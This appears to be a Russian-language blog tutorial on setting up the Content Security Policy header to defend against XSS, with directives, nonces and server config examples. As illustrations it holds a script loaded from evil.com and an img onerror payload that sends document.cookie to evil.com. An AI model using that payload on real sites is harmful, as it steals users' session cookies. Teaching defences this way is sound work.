В прошлой статье мы разбирались с XSS — страшно банальной и банально страшной уязвимостью, которая позволяет хакеру внедрить в код вашего проекта свой скрипт и получить доступ к пользовательским данным. И там я уже упоминал про CSP, но получилось незаслуженно сжато. Сегодня разберемся с этим заголовком подробнее.
Устанавливая заголовок CSP (Content Security Policy), мы как будто сообщаем браузеру: «Друг, на моих страницах можно делать только то, что я явно разрешаю. Остальное — в бан и забвение».
- Простая аналогия для понимания CSP
- Самый простой пример (попробуй сам!)
- Собираем CSP по кусочкам
- Ключевые слова в списке источников
- Пошаговый практический план внедрения CSP
- Шаг 1. Начинаем с режима отчетов (Report-Only)
- Шаг 2. Включаем минимальный CSP (для простого сайта)
- Шаг 3. Разрешаем доверенные источники
- Шаг 4. Инлайновые скрипты без ‘unsafe-inline’
- Как CSP убивает XSS. Пример на пальцах
- Как добавить CSP
- 1. Через настройки сервера
- 2. Через мета-тег (Если нет доступа к серверу)
- 3. Через .htaccess (для Apache)
- Что в итоге
Простая аналогия для понимания CSP
Представим, что вы организуете закрытую вечеринку. Ничего за гранью закона, но вход только «для своих». На входе стоит фейсконтрольщик по прозвищу Хром и контролирует поток входящих людей.
В мире где нет CSP. Хром пускает всех, кто стучится. Хацкер постучался, сказал «я свой» (<script> в комментарии) — зашел.
С CSP. У Хрома есть указание, написанное на листке бумаге: «Пускать только ребят с адреса mycdn.com, всех остальных — выгонять». Хацкер стучится, Хром сверяется со списком — нет такого в списке! «Извините, но сегодня вы не проходите».
В нашем мире CSP это специальный заголовок. Браузер получает его от сервера вместе с контентом сайта, читает указанные там директивы и строго их соблюдает.
Самый простой пример (попробуй сам!)
Допустим, у нас на странице есть такой код:
<script>
alert('Я свой!');
</script>
<script src="https://evil.com/hack.js"></script>
HTML загружается, браузер линейно загружает и исполняет все скрипты подряд. Но сейчас мы добавим заголовок CSP:
Content-Security-Policy: script-src 'self'
Что произойдет теперь?
alert('Я свой!')— Сработает.'self'означает «разрешаем скрипты с того же домена, что и страница».evil.com/hack.js— Не сработает. Абстрактный зловредный скрипт заблокирован. Браузер даже скачивать его не будет.
Собираем CSP по кусочкам
Если взглянуть на CSP беглым взглядом, то можно увидеть что это длинная строка, внутри которой через точку с запятой перечислены правила (директивы) и указаны разрешенные источники.
Формула простая: директива источник1 источник2 источник3
Вот директивы, которые применяются чаще всего:
| Директива | Что контролирует | Пример |
|---|---|---|
script-src | JavaScript | script-src 'self' https://trusted.com |
style-src | CSS стили | style-src 'self' 'unsafe-inline' |
img-src | Картинки | img-src * (разрешить отовсюду) |
connect-src | fetch, WebSocket, XHR | connect-src 'self' https://api.mybackend.com |
font-src | Шрифты | font-src 'self' https://fonts.gstatic.com |
default-src | Если не указали конкретную директиву — работает для всех | default-src 'none' (всё запрещено по умолчанию) |
Ключевые слова в списке источников
Вероятно, вы заметили, что в примерах помимо указания конкретных доменов используются и некоторые ключевые слова. Вот их значения:
'none'— ничего не разрешать (строгий режим)'self'— разрешить только свой домен'unsafe-inline'— разрешить встроенные скрипты типа<script>alert(1)</script>(опасная штука)'unsafe-eval'— разрешитьeval()(тоже опасно)https://cdn.com— разрешить скрипты с конкретного домена*— разрешить с любых доменов (лучше так не делать)
Если честно, то есть подозрение что с указанием unsafe-inline, CSP становится достаточно дырявым рубежом обороны. Дело в том, что при таком дозволении для директивы script-src, хацкер, исхитрившись, сможет вставить свой alert() прямо в HTML.
Пошаговый практический план внедрения CSP
Шаг 1. Начинаем с режима отчетов (Report-Only)
Не стоит переводить сайт в глухую оборону сразу — так можно сломать работающие виджеты или аналитику, которые де-факто легально подгружать с других доменов. Начните с работы в режиме наблюдения:
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
Такой заголовок не блокирует скрипты, а просто отправляет тебе отчет на сервер по адресу /csp-report. Обработав входящую информацию, можно увидеть, что сломалось бы при включении CSP, и исправить это до того, как защита заработает по-настоящему.
Шаг 2. Включаем минимальный CSP (для простого сайта)
Content-Security-Policy: default-src 'self'
Этот заголовок означает:
- Все ресурсы (скрипты, стили, картинки) — только с моего домена
- Встроенные скрипты (
<script>) — запрещены eval()— запрещен
При этом если в HTML есть встроенные скрипты, они отвалятся. Предварительно придется вынести весь JS в отдельные файлы.
Шаг 3. Разрешаем доверенные источники
Возможно, какие-то ресурсы у вас подгружаются с CDN, а еще маркетологи заставили прикрутить какой-нибудь сервис аналитики.
Допустим:
- Аналитика —
https://www.best-analytics-ever.ru - Корпоративный CDN —
https://inner-cdn.ru
В таком случае пишем в заголовке так:
Content-Security-Policy: default-src 'self'; script-src 'self' https://best-analytics-ever.ru https://inner-cdn.ru
Таким образом мы умолчанию разрешили загружать любые ресурсы только со своего домена, но для скриптов сделали уточнение, разрешив необходимые нам ресурсы.
Шаг 4. Инлайновые скрипты без ‘unsafe-inline’
Хотим мы этого или нет, но скрипты в тегах script нам иногда приходится добавлять и исполнять. Чтобы это работало, хочется указать unsafe-inline, но это ошибка. Вместо этого можно использовать nonce. Если вспомнить аналогию с вечеринкой, то он работает как одноразовый пропуск
Это криптографический метод защиты, который работает следующим образом.
- Сервер генерирует некоторую base64 строку. Для краткости представим, что это
xyz123 - В HTTP-ответе приходит заголовок вида
Content-Security-Policy: script-src 'self' 'nonce-xyz123'
- Мы добавляем к нашим скриптам атрибут
nonceсо значением полученным с сервера
<script nonce="xyz123">
alert('Я разрешенный скрипт!');
</script>
Шансы угадать nonce бесконечно малы, поэтому добавленный извне код не выполнится.
Хакер не может угадать nonce, поэтому его код не выполнится.
Как CSP убивает XSS. Пример на пальцах
Допустим хакер пишет комментарий, куда добавляет такой HTML:
<img src="x" onerror="fetch('https://evil.com/steal?cookie=' + document.cookie)">
Без CSP: Скрипт выполняется, куки улетают. Репутация проекта разрушена.
С заголовком:
Content-Security-Policy: script-src 'self'
Браузер видит: «Так, onerror="..." — это встроенный JavaScript, то есть инлайновый. А 'unsafe-inline' у нас не прописан, значит запрещен. Исполнять это я не собираюсь»
Да, картинка с выдуманным src просто не загрузится, но ведь и скрипт — не выполнится. Наши незащищенные куки в безопасности.
Как добавить CSP
Есть 3 способа:
1. Через настройки сервера
В настройках Nginx, Apache или вашего бэкенд-сервера просто добавляем заголовок с нужными нам настройками.
Nginx:
add_header Content-Security-Policy "default-src 'self';" always;
Node.js (Express):
app.use((req, res, next) => {
res.setHeader("Content-Security-Policy", "default-src 'self'");
next();
});
2. Через мета-тег (Если нет доступа к серверу)
<meta http-equiv="Content-Security-Policy" content="default-src 'self';">
При таком подходе некоторые директивы (например, frame-ancestors) будут недоступны. При настройки через мета-тег они просто не сработают.
3. Через .htaccess (для Apache)
Header set Content-Security-Policy "default-src 'self';"
Что в итоге
Да, поначалу возиться с заголовками и nonce кажется делом скучным и муторным. Но даже одна отраженная атака строит затраченных усилий.
И напоследок, совет тем кто решился настроить эти политики. Если что-то сломалось — сразу открывайте консоль браузера (F12). Она подробно расскажет, что именно заблокировал CSP и по какой причине.
Желаю успехов!







